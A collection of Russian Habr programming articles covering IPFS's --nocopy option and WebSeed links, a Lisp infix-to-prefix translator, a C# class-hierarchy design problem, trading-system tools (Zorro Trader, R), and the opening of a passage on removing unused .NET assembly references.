> Напомню: InterPlanetary File System — это новая децентрализованная сеть обмена файлами (HTTP-сервер, [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network)). О ней я начал рассказ в статье ["Межпланетная файловая система IPFS"](https://habrahabr.ru/post/314768/).
[](https://habrahabr.ru/post/331010/)
--nocopy
--------
Это опция заставляет IPFS использовать как источник блоков исходные файлы. Тем самым файлы не копируются в хранилище блоков и не занимают в 2 раза больше места.
Для использования этой опции выполним следующие действия:
1. необходимо включить Filestore
```
ipfs config --json Experimental.FilestoreEnabled true
```
2. в каталог где лежит каталог ".ipfs"(он обычно в каталоге пользователя) нужно сделать ссылку на каталог или файл который надо загрузить в сеть
Файл можно связать hardlink'ом:
```
fsutil hardlink "[каталог где .ipfs]\[имя файла]" "[путь к файлу]\[имя файла]"
```
или
```
mklink /h "[каталог где .ipfs]\[имя файла]" "[путь к файлу]\[имя файла]"
```
Каталог можно связать символьной ссылкой:
```
linkd "[каталог где .ipfs]\[имя каталога]" "[путь к каталогу]\[имя каталога]"
```
или
```
mklink /j "[каталог где .ipfs]\[имя каталога]" "[путь к каталогу]\[имя каталога]"
```
3. И теперь добавляем
```
ipfs add -r -w --nocopy "[каталог где .ipfs]\[имя каталога или файла]"
```
Ключ `-w` оборачивает цель в каталог тем самым сохраняя её имя.
Результатом будут идентификаторы CIDv1 и CIDv0 (мультихеш)
WebSeed
-------
Теперь в [магнит](https://ru.wikipedia.org/wiki/Magnet-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0) или [торрент](https://ru.wikipedia.org/wiki/.torrent) можно будет добавить [WebSeed](https://ru.wikipedia.org/wiki/BitTorrent_(%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB)#Web-.D1.81.D0.B8.D0.B4.D1.8B).
Для файла:
```
http://127.0.0.1:8080/ipfs/[идентификатор]/[имя файла]
http://gateway.ipfs.io/ipfs/[идентификатор]/[имя файла]
```
Для каталога:
```
http://127.0.0.1:8080/ipfs/[идентификатор]/
http://gateway.ipfs.io/ipfs/[идентификатор]/
```
Пример магнита c WebSeed
```
magnet:?xt=urn:btih:953edbe75de612bc966194d2ee60099b3bc1a1aa&dn=Magnet-ссылка.txt&ws=http://gateway.ipfs.io/ipfs/QmfQCxNW9r2974xR5dXopXfQqsEvgexhza6aQgqTGL7Yh3/Magnet-ссылка.txt
```
Идентификатор контента (CID)
----------------------------
В связи с этими изменениями в IPFS появились RAW блоки. Ключ `--nocopy` автоматически включает использование RAW блоков. Но можно включить этот режим и ключом `--raw-leaves`. В связи с этим появился новый CID (Content IDentifier) или по русски "идентификатор контента".
### Старый идентификатор
Называется CIDv0 и обычно имеет постоянный префикс "Qm".
CIDv0 это просто [мультихеш](https://github.com/multiformats/multihash) в Base58
```
[varint ID хеша][varint длинна хеша][хеш]
```
Пример CIDv0: `QmPbs8syAxac39bcNuMLpHXnqjKUguqakCM8LN8sZVPD9R`
### Новый идентификатор
У RAW блоков свой CID. Его можно отличить по постоянному префиксу "zb2rh".
CIDv1 содержит в себе больше информации.
```
[префикс основания][varint версия CID][varint тип контента][varint ID хеша][varint длинна хеша][хеш]
```
Пример CIDv1: `zb2rhe143L6sgu2Nba4TZgFMdPidGMA6hmWhK9wLUoVGWYsR7`
Разберём его на части
1. `z` — [base58 Bitcoin](https://ru.wikipedia.org/wiki/Base58) [[префикс основания](https://github.com/multiformats/multibase)]
base58: `b2rhe143L6sgu2Nba4TZgFMdPidGMA6hmWhK9wLUoVGWYsR7`
переводим в
HEX: `01 55 12 20 6D542257CBD1BE7FD0AE8914F42066BCBF1E79487EF67B959A86DBEE4670B386`
2. `01` — v1 [[varint](https://github.com/multiformats/unsigned-varint) версия [CID](https://github.com/ipld/cid)]
3. `55` — raw binary [varint [тип контента](https://github.com/multiformats/multicodec/)]
4. `12` — [sha2-256](https://ru.wikipedia.org/wiki/SHA-2) [varint [ID хеша](https://github.com/multiformats/multihash)]
5. `20` — 32 байта [varint длинна хеша]
6. `6D542257CBD1BE7FD0AE8914F42066BCBF1E79487EF67B959A86DBEE4670B386` — sha2-256 digest [хеш]
Заключение
----------
Опция `--nocopy` очень помогает когда вы хотите поделиться с миром например [дампом Википедии](https://dumps.wikimedia.org/ruwiki/). Или другими полезными но очень большими по объёму массивами информации.
Ссылки
------
[Ссылки в Windows, символьные и не только](https://geektimes.ru/post/50878/)
[ipfs command reference](https://ipfs.io/docs/commands/)
[List of experimental IPFS features](https://github.com/ipfs/go-ipfs/issues/3397)
Другие части
------------
1. [Межпланетная файловая система IPFS](https://habrahabr.ru/post/314768/)
2. [Публикуем сайт в межпланетной файловой системе IPFS](https://habrahabr.ru/post/316468/)
3. [Хостим сайт в межпланетной файловой системе IPFS под Windows](https://habrahabr.ru/post/325176/)
4. [Больше нет необходимости копировать в сеть](https://habrahabr.ru/post/331010/)
5. [Переключаем свой сайт на localhost (локальный шлюз IPFS)](https://habrahabr.ru/post/334584/)
6. [Локализуем глобальный шлюз или сайты в IPFS](https://habrahabr.ru/post/331014/) | https://habr.com/ru/post/331010/ | null | ru | null |
# Пишем простой транслятор на Лиспе — II
[Предыдущая статья](https://habr.com/post/419103/)
### Реализуем оператор присвоения
А теперь научим транслятор обрабатывать оператор присвоения. И здесь перед нами встает классическая задача – обеспечить вычисление алгебраической формулы, заданной в привычной для нас со школьных лет записи. Если бы мы делали интерпретатор, то нам бы понадобилось вычислять значение формулы. В нашем же случае вычислять (во время выполнения) будет ядро Лиспа. А нам нужно всего лишь преобразовать формулу из привычной нам записи в лисповскую.
Привычная нам запись называется “инфиксной нотацией” (знак операции располагается между операндами). В Лиспе знак операции располагается перед операндами (такая запись называется “префиксной нотацией”). Таким образом, наша задача состоит в преобразовании инфиксной формы в префиксную.
Решать эту задачу можно разными путями…
Я предлагаю преобразовать формулу в т.н. “обратную польскую форму” (ОПЗ). Обратная польская запись (названная так в честь польского математика Лукашевича) – это бесскобочная форма записи, в которой знаки операций расположены после операндов (“постфиксная нотация”). Перевод из постфиксной формы в префиксную выполняется достаточно просто. Можно было бы “решить задачу в одно действие” – сразу реализовать преобразование из инфиксной формы в префиксную. Но это решение оказалось бы несколько более громоздким. Впрочем, желающие могут попробовать сделать это сами.
А мы займемся преобразованием формулы в ОПЗ. На входе у нас алгебраическая формула в инфиксной нотации, представленная в виде лисповского многоуровневого списка. Например, вот такого:
`(12 + x / ( y ^ 2 + z ^ 4))`
В ОПЗ это выражение будет иметь следующий (на первый взгляд – странный) вид:
`(12 x y 2 ^ z 4 ^ + / +)`
Чтобы вычислить значение формулы в форме ОПЗ, нужен стек (структура данных, хранящая и поставляющая данные по принципу “последний пришёл – первый ушёл”). Вычисление выполняется очень просто. Список читается один раз. И для каждого элемента выполняются следующие действия:
* Число (значений переменной) просто кладётся в стек;
* Операция выполняется над соответствующим количеством операндов с вершины стека.
Обратите внимание – в ОПЗ нет скобок, а операции выполняются в той последовательности, как они записаны (приоритетов, как в инфиксной форме здесь уже нет).
Выражение, которое мы хотим перевести в ОПЗ, может содержать числа, переменные, функции и знаки операций. Возникает проблема – как отличить переменную от функции? Естественный способ решения этой проблемы – завести список всех операций и функций и проверять требуемый символ по этому списку: если символ найден в списке – значит это операция, иначе – переменная.
Кроме того, для каждой функции/операции нужно хранить её **арность** (количество аргументов). Базовый список операций может выглядеть так:
```
(setq *oplist* '((+ 2) (- 2) (* 2) (/ 2) (^ 2) (\ 2) (% 2)
(= 2) (== 2) (/= 2) (> 2) (>= 2) (< 2) (<= 2)
(and 2) (or 2) (not 1)
(sin 1) (cos 1) (abs 1) (exp 1) (log 1) (sqrt 1)))
```
Следует отметить, что в процессе работы транслятора этот список может увеличиваться. Дело в том, что функции мини-бэйсика возвращают значения и могут участвовать в выражениях. Имена этих функций и их арность необходимо добавлять к списку \*oplist\*. Это можно сделать в процедуре action-proc в той ветви, которая обрабатывает оператор proc. Переменную \*oplist\* можно создать в процедуре start (и уничтожить перед завершением). А добавление функции в коде action-proc можно реализовать так:
```
(cond ((eq (car stmt) 'proc)
(setq proc-name (nth 1 stmt))
(setq proc-parm (nth 2 stmt))
(setq *oplist* (cons (list proc-name (length proc-parm)) *oplist*)))
```
Теперь необходимо каждой операции, которая встречается в функции, задать определенный приоритет. Приоритеты задает следующая функция:
```
(defun prty (OP)
(cond ((EQ OP 'and) 1)
((EQ OP 'or) 1)
((EQ OP '>) 2)
((EQ OP '>=) 2)
((EQ OP '<) 2)
((EQ OP '<=) 2)
((EQ OP '=) 2)
((EQ OP '==) 2)
((EQ OP '/=) 2)
((EQ OP '+) 3)
((EQ OP '-) 3)
((EQ OP '*) 4)
((EQ OP '/) 4)
((EQ OP '\) 4)
((EQ OP '%) 4)
((EQ OP '^) 5)
((member op (mapcar 'car *oplist*)) 6)))
```
Самый низший приоритет – у логических операций “и” и “или”. Потом идут операции сравнения, затем сложение и вычитание и т.п. Самый высокий приоритет у функций.
Теперь опишем алгоритм перевода выражения в ОПЗ. Функция inf2ipn принимает один обязательный параметр (входная формула) и два необязательных (стек операций и список-аккумулятор). В списке аккумуляторе накапливается результат. Функция просматривает входной список и действует следующим образом:
* Если очередной его элемент есть число или переменная, то он заносится в аккумулятор.
* Если очередной элемент есть список, то функция применяется к этому списку рекурсивно, а ее результат добавляется в аккумулятор.
* Если очередной элемент есть операция, то при пустом стеке операций, очередной элемент заносится в стек операций. При непустом стеке операций выполняется сравнение приоритета пришедшей операции и вершины стека операций. Если пришла операция большего приоритета, то она заносится в стек операций.
* Если пришла операция с приоритетом, не большим, чем вершина стека, то вершина стека операций переносится в аккумулятор, а вновь пришедшая операция заносится в стек операций.
* Если входной список исчерпан и стек операций пуст, то функция возвращает реверсированный аккумулятор (терминальная ветвь). В противном случае функция возвращает реверсированный аккумулятор с предварительно присоединенным списком операций из стека.
Функция, отличающая операцию от операнда, очень проста — она сводится к проверке попадает ли заданный символ в глобальный список \*oplist\*:
```
(defun is-op (o)
(member o (mapcar 'car *oplist*)))
```
А функция перевода в ОПЗ имеет вид:
```
(defun inf2ipn (f &optional (s nil) (r nil))
(cond ((null f)
(if (null s) (reverse r)
(inf2ipn nil (cdr s) (cons (car s) r))))
((listp (car f)) (inf2ipn (cdr f) s (append (reverse (inf2ipn (car f))) r)))
((numberp (car f)) (inf2ipn (cdr f) s (cons (car f) r)))
((not (is-op (car f))) (inf2ipn (cdr f) s (cons (car f) r)))
(t (cond ((null s) (inf2ipn (cdr f) (cons (car f) s) r))
((> (prty (car f)) (prty (car s))) (inf2ipn (cdr f) (cons (car f) s) r))
(t (let ((a (car s)))
(inf2ipn (cdr f) (cons (car f) (cdr s)) (cons a r))))))))
```
В работоспособности этой функции можно убедиться, вызвав ее непосредственно:
```
(inf2ipn '(2 + 3 * 6))
==> (2 3 6 * +)
(inf2ipn '((2 + 3) * 6))
==> (2 3 + 6 *)
(inf2ipn '(3 + a * sin ( 5 + x)))
==> (3 A 5 X + SIN * +)
```
Получить из ОПЗ префиксную запись совсем просто. Функция ipn2inf принимает выражение в ОПЗ и параметр-накопитель. Функция работает так:
* Если входной список пуст, возвращается голова накопителя;
* Если очередной элемент — число или переменная, то этот атом присоединяется к накопителю;
* Если очередной элемент – операция арности n, то к накопителю без n первых элементов присоединяется список, состоящий из символа этой операции и реверсированного отрезка накопителя длины n.
Вот как это выглядит в коде:
```
;; Получение арности операции
(defun arity (o)
(iter (for a in *oplist*) (when (eq o (car a)) (return (cadr a)))))
;; Перевод из ОПЗ в префиксную
(defun ipn2pref (f &optional (s nil))
(cond ((null f) (car s))
((numberp (car f)) (ipn2pref (cdr f) (cons (car f) s)))
((is-op (car f))
(let ((ar (arity (car f))))
(ipn2pref (cdr f) (cons (cons (car f)
(reverse (subseq s 0 ar))) (subseq s ar)))))
(t (ipn2pref (cdr f) (cons (car f) s)))))
;; Функция-обертка, переводящая инфиксную запись в префиксную
(defun i2p (f)
(ipn2pref (inf2ipn f)))
```
Проверим работоспособность кода:
```
(i2p '(3 + a * sin ( 5 + x)))
==> (+ 3 (* A (SIN (+ 5 X))))
(i2p '((3 + a) * sin ( 5 ) + x))
==> (* (+ 3 A) (+ (SIN 5) X))
(i2p '((3 + a) * sin ( 5 ^ 2 - x ) + x))
==> (* (+ 3 A) (+ (SIN (- (^ 5 2) X)) X))
```
Теперь осталось только написать обработчик оператора присвоения и подключить его к обработчику процедуры. Обработчик присвоения может быть реализован так:
```
(defun action-set (meat)
(let ((name-var (car meat))
(r-value (i2p (cddr meat))))
`(setq ,name-var ,r-value)))
```
Предполагается, что параметр meat ссылается на присвоение в виде списка:
```
(имя = выражение)
```
Распознавание оператора присвоения делаем в функции action-proc, которая принимает вид:
```
(defun action-proc (fi)
(let ((stmt nil)
(proc-name nil)
(proc-parm nil)
(loc-var nil)
(lv nil)
(body nil))
(loop
(setq stmt (mk-intf (getLine fi)))
(when (null stmt) (return t))
(cond ((eq (car stmt) 'proc)
(setq proc-name (nth 1 stmt))
(setq proc-parm (nth 2 stmt)))
((eq (car stmt) 'end_proc) (return t))
((eq (car stmt) 'print)
(setq body (append body (list (cons 'printline (cdr stmt))))))
((eq (car stmt) 'input)
(setq body (append body (list (list 'setq (cadr stmt) (list 'read) )))))
((eq (car stmt) 'local)
(setq loc-var (append loc-var (cdr stmt))))
((eq (cadr stmt) '=)
(setq body (append body (list (action-set stmt)))))
(t (printsline (strCat "**** Оператор " (output stmt) " не распознан")) (setq *flagerr* t))))
(iter (for a in (setof loc-var)) (collecting (list a 0) into lv))
`(defun ,proc-name ,proc-parm (let ,lv ,@body))))
```
Давайте проверим работоспособность нашего кода. Загрузим код в среду Лиспа, вызовем функцию start и протранслируем вот такую процедуру:
`0001 proc main()
0002 local x,y,z
0003 x=3
0004 y=4
0005 z=x^2+y^2
0006 print z
0007 end_proc`
Посмотрим, что сгенерировал наш транслятор:
```
(getd 'main)
==> (EXPR NIL (LET ((X 0) (Y 0) (Z 0)) (SETQ X 3) (SETQ Y 4) (SETQ Z (+ (^ X 2) (^ Y 2))) (PRINTLINE Z)))
```
Кажется, все верно. А теперь вызовем нашу процедуру и получим вполне ожидаемый результат:
```
(main)
25
==> 25
```
Наш транслятор будет правильно обрабатывать и встроенные функции. Чтобы убедиться в этом, исполним, к примеру, следующий код:
`0001 proc main()
0002 local x,y,z,pi
0003 pi=3.1415926535
0004 x=sin(pi/6)
0005 y=cos(pi/6)
0006 z=x^2+y^2
0007 print x
0018 print y
0019 print z
0010 end_proc`
И получим:
```
(main)
0.499999999987039
0.866025403791922
1.0
==> 1.0
```
Наш транслятор оживает на глазах!
Однако, мы сильно увлеклись: стремясь к конечной цели, совсем не подумали об ошибках, которые может совершить пользователь (т.е. программист, использующий мини-бэйсик). По-хорошему, об ошибках нужно было думать сразу, но мы только начали работу, ушли не слишком далеко, и внести в код средства обработки ошибок и диагностику еще не поздно. Кроме того, совершенно очевидно, что напрашиваются “мелкие улучшательства” (к примеру, наш транслятор требует, чтобы оператор занимал ровно одну строку, а это неудобно).
Всем этим вопросам будет посвящена следующая статья.
[**Продолжение следует**](https://habr.com/post/423663/)
Код к этой статье можно скачать [здесь](https://yadi.sk/d/BjOgSxUj3abm68) | https://habr.com/ru/post/421445/ | null | ru | null |
# Воины и волшебники, часть первая
Распространенная задача, которую я вижу в объектно-ориентированном проектировании:
* Волшебник — это разновидность игрока.
* Воин — это разновидность игрока.
* У игрока есть оружие.
* Посох — это разновидность оружия.
* Меч — это разновидность оружия.
Но прежде чем мы углубимся в детали, я просто хочу отметить, что на самом деле я не говорю здесь о чем-то специфичном для жанра фэнтезийных ролевых игр. Всё в этой серии одинаково хорошо применимо к корпоративным приложениями, но о волшебниках и воинах писать интереснее, так что вот.
Хорошо, отлично, у нас есть пять пунктов, так что давайте напишем несколько классов, *соответствующих постановке*! Что может пойти не так?
```
abstract class Weapon { }
sealed class Staff : Weapon { }
sealed class Sword : Weapon { }
abstract class Player
{
public Weapon Weapon { get; set; }
}
sealed class Wizard : Player { }
sealed class Warrior : Player { }
```
Разработка хорошей иерархии классов заключается в отражении семантики предметной области в системе типов, верно? И здесь мы проделали *большую* работу. Если есть поведение, общее для всех игроков, оно относится к абстрактному базовому классу. Если есть поведение, уникальное для волшебников или воинов, оно может быть передано в производные классы. Ясно, что мы на пути к успеху.
Пока не появились новые требования…
* Воин может использовать только меч.
* Волшебник может использовать только посох.
**Какое неожиданное развитие событий!**
Что теперь делать? Читатели, знакомые с теорией типов, знают, что проблема заключается в нарушении [Принципа Подстановки Лисков (LSP)](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%BF%D0%BE%D0%B4%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B8_%D0%91%D0%B0%D1%80%D0%B1%D0%B0%D1%80%D1%8B_%D0%9B%D0%B8%D1%81%D0%BA%D0%BE%D0%B2). Но нам не нужно понимать лежащую в основе теорию типов, чтобы увидеть, что происходит ужасно неправильно. Все, что нам нужно сделать, это попытаться изменить код для поддержки новых требований.
#### Попытка №1
```
abstract class Player
{
public abstract Weapon Weapon { get; set; }
}
sealed class Wizard : Player
{
public override Staff Weapon { get; set; }
}
```
Нет, в C# это не скомпилируется. Переопределяющий член класса должен соответствовать сигнатуре (и типу возвращаемого значения) переопределяемого члена.
#### Попытка №2
```
abstract class Player
{
public abstract Weapon { get; set; }
}
sealed class Wizard : Player
{
private Staff weapon;
public override Weapon Weapon
{
get { return weapon; }
set { weapon = (Staff) value; }
}
}
```
Теперь мы превратили нарушения правила из ограничений системы типов в исключения времени выполнения. Это подвержено ошибкам, вызывающий код может иметь ссылку на `Волшебника` и присвоить `Меч` свойству `Оружие`.
Весь смысл отражения семантики предметной области в типах заключается в том, что нарушение обнаруживается во время компиляции.
(следующая статья) [Какие еще способы представить эти правила в системе типов?](https://habr.com/ru/post/710752/) | https://habr.com/ru/post/710748/ | null | ru | null |
# Инструменты хакера в торговле
Для того, чтобы осуществить наш хакерский финансовый эксперимент (чтобы еще на нем и заработать), нам потребуется программа, которая может проводить исследования, тестирование, обучение и торговлю по алгоритму. Ни одна из существующих программ на сегодняшний день по-настоящему не покрывает все эти области. Тем не менее, можно объединить различные системы и попытаться решить задачу. К счастью, есть пара подходящих инструментов. По большому счету, я буду использовать Zorro Trader и язык R, но иногда и некоторые другие инструменты.
Выбор языка
-----------
Спектр языков программирования не такой широкий, как может показаться изначально. Более того, вы можете и вовсе не программировать в классическом понимании, пользуясь различного рода конструкторами стратегий или тем же Excel. Но, к сожалению, подобный подход применим для достаточно примитивных стратегий, и я не слышал ни об одной подобной прибыльной системе. Для реальной работы и исследований придется научиться программировать по-настоящему.
Свободы в выборе языка программирования еще меньше. Всегда хочется взять язык с простым и красивым синтаксисом. Наверное, один из лучших вариантов, где сочетается простота и объектная ориентированность – Python. Язык обладает богатой библиотекой статистических и индикативных функций, именно поэтому многие программисты начинают свой путь с него. Однако все они в конечном счете удивляются медлительности разработанной ими программы. Никакие средства вложенные в дорогие и сверхбыстрые компьютеры здесь не помогут. Причина медлительности, на самом деле, очень проста: чем проще синтаксис языка, тем больше времени требуется на выполнение алгоритма, который на нем написан.
В основном скорость работы алгоритма зависит от того, является ли язык, на котором он написан, компилируемым или интерпретируемым. К примеру, C, Pascal или Java – компилируемые языки программирования. Это означает, что код программы будет выполнятся непосредственно на процессоре (в случае с C, Pascal) или на виртуальной машине (в случае с Java). В то же время языки Python, R, MATLAB – интерпретируемые, то есть код не будет работать сам по себе. Для него потребуется своеобразный переводчик. Интерпретируемый язык работает значительно медленнее и при этом требует больше ресурса от процессора и оперативной памяти, чем компилириуемый язык. Но при этом они интерактивны, то есть вы сможете вводить команды непосредственно в консоли. Есть и компромиссные языки. К примеру, C# является промежуточным языком между компилируемым и интерпретируемым. Программа на C# будет скомпилирована в промежуточный аппаратно-независимый код, который в дальнейшем, в зависимости от реализации, будет либо интерпретирован, либо преобразован в машинный код. C# примерно в 4 раза медленнее, чем C, но при этом в 30 раз быстрее, чем Python.
Ниже приведена таблица производительности двух тестовых программ, написанных на нескольких языках: решалка судоку и цикл умножения матриц размера 1000 на 1000. Результаты в секундах:
| | | |
| --- | --- | --- |
| **Язык** | **Судоку** | **Матрицы** |
| C, C++ | 1.0 | 1.8 |
| Java | 1.7 | 2.6 |
| Pascal | — | 4 |
| C# | 3.8 | 9 |
| JavaScript | 18.1 | 16 |
| Erlang | 18 | 31 |
| Python | 119 | 121 |
| Ruby | 98 | 628 |
| Matlab | — | 621 |
| R | — | 1738 |
Почему же скорость выполнения программы так важна для торговых систем? Разработка стратегии зачастую происходит эмпирическим путем. То есть вы ищите подходящие параметры системы из многих вариантов и каждый раз тестируете. Предположим, что один тест параметров для программы на C занимает 1 минуту. В таком случае та же стратегия, но уже написанная на EasyLanguage потребует на тест уже порядка 30 минут. На Python – 2 часа, а на R – 10 часов! Если бы я делал тест для своей статьи [The Trend Experiment](http://financial-hacker.com/trend-and-exploiting-it), то я бы ждал результаты до сих пор. Теперь вы понимаете, почему многие торговые платформы используют свой собственный компилируемый язык программирования или варианты языка C для работы стратегий. При этом высокочастотные торговые стратегии обычно реализуются на C или непосредственно на машинном языке.
Даже у компилируемых языков есть большие различия в скорости работы из-за разницы в реализации торговли и анализа. Для примера я взял простейшую стратегию [отсюда](http://manual.zorro-project.com/conversion.htm) и протестировал ее на разных торговых площадках (10-тилетний бэктест на тиковых данных) и получил совершенно различную скорость.
> Zorro Traid: ~ 4 секунд (Lite-C, вариант C)
>
> МТ4: ~ 110 секунд (на mql4, другой вариант C)
>
> MultiCharts: ~ 155 секунд (EasyLanguage, С/Pascal микс).
Однако, эти различия не так критичны. Есть одна хитрость для преодоления медленной скорости работы языка. Даже в интерпретируемых языках есть библиотеки функций, которые часто написаны на C/C++. Скрипты, которые не идут шаг за шагом по историческим данным, а только вызывают нужные функции из библиотек, которые обрабатывают данные одновременно, будут работать с сопоставимой скоростью на всех всех языках. И действительно некоторые торговые системы могут быть запрограммированы в этом так называемом векторном способе (вы увидите это ниже на примере кода на языке R). К сожалению, подобный метод работает только с простыми системами и только для тестирования, он не применим для разработки стратегий для боевой работы.
Выбор инструментов
------------------
Zorro-Trader – это программное обеспечение для финансового анализа и алгоритмической торговле. Своего рода швейцарский нож, так как вы сможете использовать его для всех видов быстрых тестов. Я выбираю его потому что:
* Это бесплатно (если вы богаты))
* Скрипты на языке C пишутся легко и работают очень быстро. Вы можете реализовать систему или идею буквально в течение 5 минут
* Открытая архитектура – вы можете добавить все что угодно с помощью DLL
* Минималистичность – только фронтэнд для языка программирования
* Позволяет автоматизировать эксперименты
* Очень точные и реалистичный механизм имитации реальной торговли
* Встроенное управление портфелем
* Есть вся основные функции для обработки данных и статистические функции (большинство с исходным кодом).
* Продукт постоянно развивается и поддерживается (новые версии обычно выходят раз в 2-3 месяца).
* Последнее, но не менее важное: я досконально знаю платформу, потому что я написал по ней учебник…
Пример стратегии, написанной на C — классическое пересечение простых скользящих средних (SMA):
```
function run()
{
vars Close = series(priceClose());
vars MA30 = series(SMA(Close,30));
vars MA100 = series(SMA(Close,100));
Stop = 4*ATR(100);
if(crossOver(MA30,MA100))
enterLong();
if(crossUnder(MA30,MA100))
enterShort();
}
```
Вы видите, что Zorro Trader предлагает очень простой метод реализации стратегии. Но здесь вы столкнетесь с недостатком языка C: вы не сможете вызвать внешние библиотеки так же просто, как в Python или в R. Использование пакетов для машинного обучения на основе языка C/C++ требует довольно продолжительного времени для реализации. К счастью, для этих целей Zorro Trader умеет вызывать R функции.
R — это интерпретатор сценариев для анализа данных и построения графиков. Это не язык программирования с последовательным синтаксисом, а скорее конгломерат операторов, функций и структур данных, который сильно разросся за 20 лет. Он не очень логично структурирован и труднее в изучении, чем обычный язык программирования, однако, имеет некоторые уникальные преимущества. Я буду использовать его в этой статье, когда дело будет касаться комплексного анализа или задач машинного обучения. Это мой инструмент потому что:
* Это бесплатно (“Программное обеспечение как секс: всегда лучше, когда это бесплатно”)
* Скрипты R могут быть очень короткими и эффективными (как только вы привыкли к его синтаксису).
* Это глобальный стандарт для анализа данных и машинного обучения.
* Открытая архитектура – можно добавить почти любой модуль.
* Минималистичность – только консоль с интерпретатором.
* Есть горы пакетов для всех мыслимых и немыслимых математических и статистических задач.
* Постоянно развивается и поддерживается мировым научным сообществом (около 15 новых пакетов выходят почти каждый день).
Пример пересечения SMA в R для векторного бэктеста:
```
require(quantmod)
require(PerformanceAnalytics)
Data <- xts(read.zoo("EURUSD.csv", tz="UTC", format="%Y-%m-%d %H:%M", sep=",", header=TRUE))
Close <- Cl(Data)
MA30 <- SMA(Close,30)
MA100 <- SMA(Close,100)
Dir <- ifelse(MA30 > MA100,1,-1) # calculate trade direction
Dir.1 <- c(NA,Dir[-length(Dir)]) # shift by 1 for avoiding peeking bias
Return <- ROC(Close)*Dir.1
charts.PerformanceSummary(na.omit(Return))
```
Вы видите, что векторный код, по сути, просто состоит из вызовов функций. При этом он работает так же быстро, как и такой же эквивалент на C. Но подобная функция очень трудна для прочтения и для реальной торговли должна быть переписана, а такие вещи, как stop-loss нужно убрать, так как они не будут работать на векторном бэктесте. То есть насколько хорош R для интерактивного анализа данных, настолько же он бесполезен для написания торговых стратегий, хотя некоторые пакеты, к примеру Quantstart предполагают рудиментарные функции для тестирования и оптимизации. Они требуют «особого» стиля программирования и при это не очень реалистично имитирует торговлю и при этом остаются слишком медленными для серьезных тестов. То есть в то время как одни функции и пакеты языка R могут работать довольно быстро, так как они написаны на C, сам язык не сможет провести серьезное тестирование быстро. Но Zorro Trader и R прекрасно дополняют друг друга.
Больше хакерских штучек.
------------------------
Помимо языков и платформ, часто нужны вспомогательные инструменты, которые могут быть небольшими, простыми, дешевыми (или бесплатными), но решать оперативно некоторые задачи. Для редактирования скриптов я не использую редакторы Zorro Trader или консоль R. Я использую Notepad++. Для интерактивной работы с R я могу рекомендовать RStudio. Очень полезно для разработки стратегии иметь инструмент для сравнения файлов, к примеру, вы хотите сравнить логи различных вариантов системы и проверить, какой вариант открытия сделки лучше, определить разницу во времени и оценить последствия различий. Для этого я использую Beyond Compare.
Кроме Zorro trader и R, есть еще одна относительно новая система разработки программного обеспечения, которые я планирую рассмотреть получше в ближайшее время: [TSSB](http://www.tssbsoftware.com/) для генерации и тестирования торговые системы со свободными параметрами с помощью усовершенствованных алгоритмов машинного обучения. Дэвид Аронсон и Тимоти Мастерс участвовали в ее разработке, поэтому, я уверен, система не будет такой же бесполезной, как и большинство других генераторов торговых систем. Однако, есть еще одно ограничение: TSSB не может торговать, поэтому Вы не сможете реально торговать на своих хитроумных системах. Хотя, может быть, я смогу найти способ объединить TSSB с Zorro Trader. | https://habr.com/ru/post/398749/ | null | ru | null |
# Удаление неиспользуемых сборок из .NET проекта
Когда-то во время учебы в университете, преподаватель, проверяя лабораторную работу по C++, вдруг неожиданно для меня задал вопрос: “А зачем вам здесь #include “%имя\_библиотеки%”? Вы можете пояснить, для каких частей кода нужна каждая директива include?” Та директива, что «бросилась ему в глаза», была добавлена при попытке использовать какой-то класс. Класс, видимо, не прижился в лабораторной и его использование было благополучно удалено, а include остался…
Программируя в С#, с использованием Visual Studio, мы так же сталкиваемся с неиспользуемыми директивами using. Но Visual Studio может помочь справиться с проблемой, достаточно для .cs файла вызвать команду “Remove Unused Usings”. Правда есть еще одно место, которое так же не мешало бы время от времени чистить. Это ссылки (References) проекта. Как ни печально, но для C# проекта такой команды нет. В MS Connect даже [баг](http://connect.microsoft.com/VisualStudio/feedback/details/510326/project-properties-references-tab-for-c-projects) создали по этому поводу. А вот для VB.NET проектов такая функция есть (найти её можно в свойствах проекта), но по злой иронии судьбы для VB.NET проектов нет команды для удаления неиспользуемых Imports (usings в C#) :)
Подогреваемые жаждой сделать полезное коллегам, независимые разработчики решили написать небольшие расширения для Visual Studio. А тут еще и Extension Manager из Visual Studio 2010 так упростил процесс распространения расширений. Пример таких расширений можно найти [здесь](http://visualstudiogallery.msdn.microsoft.com/9811e528-cfa8-4fe7-9dd1-4021978b5097) и [здесь](http://visualstudiogallery.msdn.microsoft.com/36a6eb45-a7b1-47c3-9e85-09f0aef6e879/). Невозможно судить об алгоритмах, используемых в этих расширениях. Хотя не буду скрывать, что после того как первое расширение бессовестно удалило из проекта приличную часть реально нужных для компиляции сборок, мы все таки посмотрели его рефлектором… Разбираться со вторым уже не стали. В общем-то, проблема одинакова, а ключевое словосочетание можно найти в пред-предыдущем предложении: нужных для компиляции.
Рассмотрим простой пример. Пусть есть 3 проекта – 3 сборки. Сборка Assembly\_A определяет класс Class\_A, сборка Assembly\_B определяет класс Class\_B, унаследованный от класса Class\_A из сборки Assembly\_A. У каждого класса есть различные методы, скажем метод класса Class\_A это Method\_A, а метод класса Class\_B – Method\_B. В третьей сборке (Assembly\_C) мы хотим использовать класс Class\_B. Для этого в проекте добавляем ссылки на сборки Assembly\_A и Assembly\_B, после чего в каком-то из классов создаем экземпляр класса Class\_B, вызываем метод Method\_B и компилируем проект. Сборка Assembly\_C готова, давайте откроем её с помощью ildasm.exe и взглянем на манифест:
> `// Metadata version: v4.0.30319
>
> .assembly extern mscorlib
>
> {
>
> .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
>
> .ver 4:0:0:0
>
> }
>
> .assembly extern Assembly\_B
>
> {
>
> .ver 1:0:0:0
>
> }
>
> .assembly Assembly\_C
>
> {
>
> // метаданные для текущей сборки
>
> }
>
> .module Assembly\_C.exe
>
> // MVID: {B387984A-3515-4B26-9450-592FCF5FB6FA}
>
> .imagebase 0x00400000
>
> .file alignment 0x00000200
>
> .stackreserve 0x00100000
>
> .subsystem 0x0003 // WINDOWS\_CUI
>
